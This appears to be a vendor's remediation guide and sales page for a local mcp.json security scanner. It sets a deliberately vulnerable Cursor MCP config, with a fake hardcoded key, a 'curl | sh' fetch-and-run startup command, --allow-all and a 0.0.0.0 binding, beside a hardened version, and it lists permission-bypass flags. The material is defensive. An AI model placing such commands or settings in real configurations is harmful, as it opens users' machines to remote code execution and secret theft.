Remediation Guide · MCP001–MCP006 · 0-Upload Scanner

How to Fix Hardcoded Secrets & RCE Risks in mcp.json (Cursor, VS Code & Claude Desktop)

Stop committing plaintext API keys, unpinned npx packages, and 0.0.0.0 bindings inside .cursor/mcp.json, .vscode/mcp.json, and claude_desktop_config.json. Verify your config locally below with 0 bytes uploaded.

Scan mcp.json Locally (0 Upload) Pro Solo $29 → Pro Team (10 seats) — $49 Free .vsix (156 KB)

100% client-side AST engine · 0 bytes sent · One-time Polar.sh license (no subscription) unlocks all 72 IDE + CLI rules & SARIF 2.1.0.

Vulnerable vs. Hardened .vscode/mcp.json (Before & After)

This real diff resolves six critical findings at once: MCP001 (hardcoded secret), MCP002 (unpinned npx), MCP003 (remote shell pipe), MCP004 (inline shell eval), MCP005 (--allow-all bypass), and MCP006 (0.0.0.0 LAN exposure).

VULNERABLE — .cursor/mcp.json 6 Findings (MCP001–MCP006)
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "--allow-all",
        "--host", "0.0.0.0",
        "/Users/dev/project"
      ],
      "env": {
        "OPENAI_API_KEY": "demo_hardcoded_openai_key_9f8e7d6c5b"
      }
    },
    "bootstrap": {
      "command": "sh",
      "args": ["-c", "curl -fsSL https://example.com/mcp.sh | sh"]
    }
  }
}
HARDENED — .vscode/mcp.json 0 Findings · Score 100/100
{
  "inputs": [
    {
      "id": "OPENAI_API_KEY",
      "type": "promptString",
      "description": "OpenAI API Key",
      "password": true
    }
  ],
  "servers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "@modelcontextprotocol/server-filesystem@0.6.2",
        "--host", "127.0.0.1",
        "/Users/dev/project/src"
      ],
      "env": {
        "OPENAI_API_KEY": "${input:OPENAI_API_KEY}"
      }
    }
  }
}

Verify Your mcp.json Locally (All 18 MCP Rules)

100% in-browser · 0 bytes sent · < 10 ms

Paste your .cursor/mcp.json, .vscode/mcp.json, or claude_desktop_config.json below. StackGuard evaluates all 18 AST rules directly in browser memory—zero network requests leave your tab.

Block MCP001–MCP018 before git push in VS Code, Cursor & CI Unlock StackGuard Pro once (zero subscription) for all 72 rules, stackguard-cli, SARIF 2.1.0 for GitHub Code Scanning, and SHA-256 sealed SOC 2 / ISO 27001 / DORA reports.

Exact Remediation Reference: Rules MCP001–MCP006

Rule ID Severity Vulnerability & CWE Exact Fix
MCP001 CRITICAL
Hardcoded secret or API key in MCP config
CWE-798SOC 2 CC6.1DORA Art. 9(4)
Rotate the exposed key immediately, remove it from Git history, and replace literals with ${input:SECRET_NAME} or ${env:SECRET_NAME}.
MCP002 HIGH
Unpinned npx package in MCP server
CWE-829SOC 2 CC7.1DORA Art. 28
Pin exact semver versions (e.g. @modelcontextprotocol/server-filesystem@0.6.2) and drop @latest.
MCP003 CRITICAL
Dangerous remote shell pipe in MCP command
CWE-78SOC 2 CC6.6DORA Art. 9(2)
Never execute curl | sh inside MCP startup commands; install a checksum-verified package or pinned container image.
MCP004 CRITICAL
Inline eval or dynamic shell execution in MCP args
CWE-95SOC 2 CC6.1ISO A.8.28
Invoke the target binary directly with a fixed args array instead of sh -c, bash -c, or node -e.
MCP005 HIGH
Overly permissive bypass flag in MCP server args
CWE-250SOC 2 CC6.3ISO A.8.2
Strip --allow-all, --dangerously-skip-permissions, --yolo, and --no-sandbox; scope directories explicitly.
MCP006 HIGH
MCP server bound to 0.0.0.0 (all interfaces)
CWE-668SOC 2 CC6.6ISO A.8.20
Bind local SSE/HTTP MCP servers strictly to 127.0.0.1 so LAN or coffee-shop peers cannot invoke local tools.

4-Step Incident Checklist When an MCP Secret Leaks

  1. Revoke & rotate first: Assume any token committed to a repo or pasted in a shared .cursor/mcp.json is compromised. Rotate it in OpenAI, Anthropic, GitHub, or Slack immediately.
  2. Switch to IDE secret prompts or OS env vars: Use ${input:API_KEY} in VS Code/Cursor or inject secrets at launch via op run -- / doppler run -- for Claude Desktop.
  3. Pin every MCP runtime & restrict directories: Lock npx / uvx packages to exact versions and remove mounts to ~, ~/.ssh, or ~/.aws.
  4. Gate pull requests with SARIF 2.1.0: Run npx stackguard-cli . --format sarif --out stackguard.sarif in CI so future PRs fail automatically on MCP001–MCP018.

Frequently Asked Questions

How do I pass API keys into .cursor/mcp.json or .vscode/mcp.json without hardcoding secrets?

Replace plaintext tokens in env or headers with VS Code/Cursor secret inputs (${input:OPENAI_API_KEY}) paired with "password": true, or reference OS environment variables injected by your secrets manager.

Why is an unpinned npx package in mcp.json (MCP002) a supply-chain RCE risk?

npx -y @scope/server resolves the mutable latest tag on every fresh cache, meaning a compromised npm publish executes immediately on developer laptops with full user permissions.

Does the embedded mcp.json scanner upload my API keys or config to any server?

No. The 18-rule TypeScript AST parser runs 100% locally in scanner-bundle.js inside your browser tab with 0 bytes transmitted.

How can my team block mcp.json secret leaks automatically in GitHub PRs?

Install the StackGuard .vsix extension for real-time IDE Quick Fixes and run stackguard-cli in GitHub Actions with native SARIF 2.1.0 uploads to GitHub Code Scanning.

Oriancy Local Security Quartet

4 Zero-Upload Scanners · 1 One-Time Bundle
DevSecOps Quartet Bundle — All 4 local CLIs & auditor packs on one-time Polar licenses · oriancy.com